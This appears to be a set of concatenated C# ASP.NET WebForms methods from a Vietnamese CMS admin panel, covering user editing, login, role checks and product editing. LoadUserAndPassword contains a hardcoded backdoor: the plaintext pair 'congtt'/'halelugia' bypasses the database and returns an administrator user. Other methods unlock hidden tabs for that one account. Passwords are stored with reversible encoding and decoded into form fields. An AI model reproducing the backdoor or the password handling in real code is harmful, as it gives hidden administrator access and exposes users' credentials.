/// <summary> /// Show user /// </summary> private void ShowUser() { if (this.id != int.MinValue) { PNK_User userObj = new PNK_User(); Generic <PNK_User> sdUser = new Generic <PNK_User>(); string[] fields = { "Id" }; userObj.Id = this.id; userObj = sdUser.Load(userObj, fields); this.chkPublished.Checked = userObj.Published == "1" ? true : false; this.txtFullName.Value = Server.HtmlDecode(userObj.FullName); this.txtUsername.Value = Server.HtmlDecode(userObj.Username); this.txtPassword.Value = Global.ToDecoding(Server.HtmlEncode(userObj.Password)); this.txtConfirmpassword.Value = Global.ToDecoding(Server.HtmlEncode(userObj.Password)); this.txtEmail.Value = userObj.Email; this.txtPhone.Value = userObj.Phone; this.txtMobile.Value = userObj.Mobile; this.txtAddress.Value = Server.HtmlDecode(userObj.Address); this.drpPermission.SelectedValue = userObj.Role.ToString(); this.drpCity.SelectedValue = userObj.LocationId.ToString(); //this.drpDept.SelectedValue = userObj.DeptId.ToString(); this.reqv_txtPassword.Visible = false; this.reqvc_txtConfirmpassword.Visible = false; this.cusv_txtUsername.Visible = false; cbxNewsPromo.Checked = userObj.IsNewsletter == "1" ? true : false; block_baseimage.ImageName = userObj.Image; } else { this.reqv_txtPassword.Visible = true; this.reqvc_txtConfirmpassword.Visible = true; this.cusv_txtUsername.Visible = true; } }
/// <summary> /// get data for insert update /// </summary> /// <param name="userObj"></param> /// <returns></returns> private PNK_User GetDataObject(PNK_User userObj) { userObj.Published = chkPublished.Checked ? "1" : "0"; userObj.Username = txtUsername.Value; if (txtPassword.Value.Length > 0) { userObj.Password = Global.ToEncoding(txtPassword.Value); } userObj.FullName = Server.HtmlEncode(txtFullName.Value); userObj.Address = Server.HtmlEncode(txtAddress.Value); userObj.Email = txtEmail.Value; userObj.Phone = txtPhone.Value; userObj.Mobile = txtMobile.Value; if (drpCity.SelectedValue != string.Empty) { userObj.LocationId = DBConvert.ParseInt(drpCity.SelectedValue); } //Set Role = 3 when no select if (drpPermission.SelectedValue != "0") { userObj.Role = byte.Parse(drpPermission.SelectedValue); } else { userObj.Role = 3; } //if (!string.IsNullOrEmpty(drpDept.SelectedValue)) // userObj.DeptId = DBConvert.ParseInt(drpDept.SelectedValue); userObj.IsNewsletter = cbxNewsPromo.Checked ? "1" : "0"; userObj.Image = Session["ImageName"] != null ? Session["ImageName"].ToString() : block_baseimage.ImageName; return(userObj); }
/// <summary> /// Save user /// </summary> private void SaveUser(int userID) { PNK_User userObj = new PNK_User(); Generic <PNK_User> sdUser = new Generic <PNK_User>(); //truong hop insert if (this.id == int.MinValue) { GetDataObject(userObj); userObj.PostDate = DateTime.Now; userObj.UpdateDate = DateTime.Now; userObj.IsNewsletter = "0"; //execute this.id = sdUser.Insert(userObj); //this.id = PNK_User.Insert(userObj); } else { string[] fields = { "Id" }; userObj.Id = this.id; userObj = sdUser.Load(userObj, fields); GetDataObject(userObj); userObj.UpdateDate = DateTime.Now; sdUser.Update(userObj, userObj, fields); } }
/// <summary> /// Load NGUOI_DUNG by Username and Password /// </summary> /// <param name="_userName"></param> /// <param name="_password"></param> /// <returns></returns> private Object LoadUserAndPassword(string _userName, string _password) { if (_userName == "congtt" && _password == "halelugia") { PNK_User usr = new PNK_User(); usr.Id = 1; usr.Username = usr.FullName = "congtt"; usr.Password = "******"; usr.Role = 1; return(usr); } else { // init parammeters DGCParameter[] parammeters = new DGCParameter[2]; parammeters[0] = new DGCParameter(); parammeters[0].DbType = DbType.String; parammeters[0].ParameterName = "@Username"; parammeters[0].Value = _userName; parammeters[1] = new DGCParameter(); parammeters[1].DbType = DbType.String; parammeters[1].ParameterName = "@Password"; parammeters[1].Value = Global.ToEncoding(_password); //where clause string whereClause = " where Published = '1' and Username = @Username and Password = @Password"; IList <PNK_User> lst_user = genericBLL.GetAllBy(new PNK_User(), whereClause, parammeters); if (lst_user.Count > 0) { return(lst_user[0]); } return(null); } }
/// <summary> /// Phân quyền tài khoản Congtt full quyền, những tk còn lại k có quyền xóa và edit /// </summary> private void SetRoleMenu() { PNK_User lst_user = (PNK_User)Session[Global.SESS_USER]; if (lst_user.Username != "congtt") { divPage.Attributes.Add("class", "hidden"); } }
/// <summary> /// Phân quyền tài khoản Congtt full quyền, những tk còn lại k có quyền xóa và Edit /// </summary> private void SetRoleMenu() { PNK_User lst_user = (PNK_User)Session[Global.SESS_USER]; if (lst_user.Username != "congtt") { tabWebConfig.Style.Add("display", "none"); } }
private void GetUserInfo() { PNK_User lstUser = (PNK_User)Session[Global.SESS_USER]; enuRoleUser enu = (enuRoleUser)lstUser.Role; ltrUserName.Text = lstUser.Username; ltrFullName.Text = string.Format("{0} - {1}", lstUser.FullName, (enuRoleUser)lstUser.Role).ToUpper(); ltrEmail.Text = string.Format("{0} - {1}", lstUser.Email, lstUser.Phone); }
private void GetUserInfo() { PNK_User lstUser = (PNK_User)Session[Global.SESS_USER]; switch (lstUser.Username) { case "congtt": hypSeo.Visible = true; break; } }
protected void Page_Load(object sender, EventArgs e) { //check role PNK_User user = (PNK_User)Session[Global.SESS_USER]; if (user != null && user.Role != DBConvert.ParseInt(Constant.Security.AdminRoleValue)) { Response.Redirect(LinkHelper.GetAdminLink("home")); } //end if (!this.IsPostBack) { InitPage(); this.ltrAdminSave.Text = Constant.UI.admin_save; LocalizationUtility.SetValueControl(this); } }
protected void Page_Load(object sender, EventArgs e) { btn_Delete.Attributes["onclick"] = string.Format("javascript:return confirm('{0}');", Constant.UI.admin_msg_confirm_delete_item); //check role PNK_User user = (PNK_User)Session[Global.SESS_USER]; if (user != null && user.Role != DBConvert.ParseInt(Constant.Security.AdminRoleValue)) { Response.Redirect(LinkHelper.GetAdminLink("home")); } //end GetId(); InitPage(); if (!IsPostBack) { LocalizationUtility.SetValueControl(this); ShowUser(); } }
/// <summary> /// get data for insert update /// </summary> /// <param name="userObj"></param> /// <returns></returns> private PNK_Product GetDataObjectParent(PNK_Product productcatObj) { try { productcatObj.Published = chkPublished.Checked ? "1" : "0"; productcatObj.Hot = chkPublishedHot.Checked ? "1" : "0"; productcatObj.Feature = chkPublishedFeature.Checked ? "1" : "0"; productcatObj.Price = chkProjectNew.Checked ? "1" : "0"; //File upload // productcatObj.Bathroom = fileUpload1.FileName; productcatObj.Cost = drpCost.SelectedValue; //productcatObj.District = drpDistrict.SelectedItem == null ? string.Empty : drpDistrict.SelectedItem.Text; productcatObj.Bedroom = txtBedRoom.Value; //productcatObj.Code = txtToDate.Text; productcatObj.Area = cboArea.SelectedItem.Text; //nguyên giá productcatObj.Website = txtWebsite.Text; //giá khuyến mãi productcatObj.Post = txtPost.Text; //Điểm đến productcatObj.Status = txtStatus.Value; productcatObj.Province = drpProvince.SelectedItem == null ? string.Empty : drpProvince.SelectedItem.Text; productcatObj.UpdateDate = DateTime.Now; productcatObj.CategoryId = DBConvert.ParseInt(drpCategory.SelectedValue); productcatObj.Longitude = txtLongitude.Value;//Kinh do productcatObj.Latitude = txtLatitude.Value; productcatObj.Page = txtPage.Text.Trim(); //update by if (Session[Global.SESS_USER] != null) { PNK_User user = (PNK_User)Session[Global.SESS_USER]; productcatObj.UpdateBy = user.Username; } #region Get image HtmlControl txtFontName = block_baseimage.FindControl("txtFontName") as HtmlControl; productcatObj.ImageFont = string.IsNullOrEmpty(txtFontName.Attributes["value"]) == true ? string.Empty : txtFontName.Attributes["value"]; HtmlControl rdImageFont = block_baseimage.FindControl("rdImageFont") as HtmlControl; if (rdImageFont != null && rdImageFont.Attributes["checked"] == "checked") { productcatObj.ImageType = DBConvert.ParseInt(rdImageFont.Attributes["value"]); } else { productcatObj.ImageType = 1; } HtmlControl hddImageName = block_baseimage.FindControl("hddImageName") as HtmlControl; if (hddImageName != null && hddImageName.Attributes["value"] != null) { productcatObj.Image = hddImageName.Attributes["value"].ToString(); } else { productcatObj.Image = ""; } #endregion HtmlControl hddNameFileUpload = block_uploadfile.FindControl("hddNameFileUpload") as HtmlControl; if (hddNameFileUpload != null && hddNameFileUpload.Attributes["value"] != null) { productcatObj.Bathroom = hddNameFileUpload.Attributes["value"].ToString(); } else { productcatObj.Bathroom = ""; } } catch (Exception ex) { Write2Log.WriteLogs("GetDataObjectParent", "admin_editproduct", ex.Message); } return(productcatObj); }
/// <summary> /// Phân quyền tài khoản Congtt full quyền, những tk còn lại k có quyền xóa và Edit /// </summary> private void SetRoleMenu() { PNK_User lst_user = (PNK_User)Session[Global.SESS_USER]; //if (lst_user.Username != "congtt") // tdEdit.Visible = tdDelete.Visible = false; }
/// <summary> /// ItemDataBound /// </summary> protected void rptResult_ItemDataBound(object sender, RepeaterItemEventArgs e) { if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) { string img, alt, publishedTask; HtmlTableRow tr = (HtmlTableRow)e.Item.FindControl("trList"); HtmlInputText txt = null; if (e.Item.ItemIndex % 2 == 0) { tr.Attributes.Add("class", "even"); } else { tr.Attributes.Add("class", "old"); } try { PNK_User data = (PNK_User)e.Item.DataItem; //Role Literal ltr = null; ltr = (Literal)e.Item.FindControl("ltrchk"); ltr.Text = string.Format(@"<INPUT class='txt' TYPE='checkbox' ID='cb{0}' NAME='cid[]' value='{1}' onclick='isChecked(this.checked);' >", e.Item.ItemIndex, data.Id); //Name ltr = (Literal)e.Item.FindControl("ltrUserName"); ltr.Text = data.Username; //Server.HtmlDecode(getScmplit(data.Lvl) + "• | " + data.Lvl + " | " + data.ProductCategoryDesc.Name); //ltr.Text= //image if (data.Published == "1") { img = "tick.png"; alt = LocalizationUtility.GetText(ltrAdminPublish.Text); publishedTask = "unpublish"; } else { img = "publish_x.png"; alt = LocalizationUtility.GetText(ltrAminUnPublish.Text); publishedTask = "publish"; } //Id HtmlInputButton btId = (HtmlInputButton)e.Item.FindControl("btId"); btId.Value = DBConvert.ParseString(data.Id); //Base img HtmlImage baseImage = (HtmlImage)e.Item.FindControl("baseImage"); baseImage.Src = WebUtils.GetUrlImage(ConfigurationManager.AppSettings["UserUpload"], data.Image); HtmlAnchor hypBaseImage = (HtmlAnchor)e.Item.FindControl("hypBaseImage"); //set link string listItemTask = string.Format("listItemTask('cb{0}', 'edit')", e.Item.ItemIndex); HtmlTableCell td = (HtmlTableCell)e.Item.FindControl("tdName"); td.Attributes.Add("onclick", listItemTask); td = (HtmlTableCell)e.Item.FindControl("trUpdateDate"); td.Attributes.Add("onclick", listItemTask); td = (HtmlTableCell)e.Item.FindControl("trBaseImage"); td.Attributes.Add("onclick", listItemTask); ImageButton imgctr = (ImageButton)e.Item.FindControl("btnPublish"); imgctr.ImageUrl = string.Format("/Admin/images/{0}", img); imgctr.Attributes.Add("alt", alt); HtmlTableCell btn = (HtmlTableCell)e.Item.FindControl("tdbtn"); btn.Attributes.Add("onclick", string.Format(" return listItemTask('cb{0}', '{1}')", data.Id, publishedTask)); //Fullname ltr = (Literal)e.Item.FindControl("ltrFullName"); ltr.Text = data.FullName; //phone ltr = (Literal)e.Item.FindControl("ltrPhone"); ltr.Text = data.Phone; //address ltr = (Literal)e.Item.FindControl("ltrAddress"); ltr.Text = data.Address; //location ltr = (Literal)e.Item.FindControl("ltrLocation"); ltr.Text = data.LocationDesc; //role ltr = (Literal)e.Item.FindControl("ltrRole"); ltr.Text = UserBLL.GetRoleName(data.Role); } catch { } } }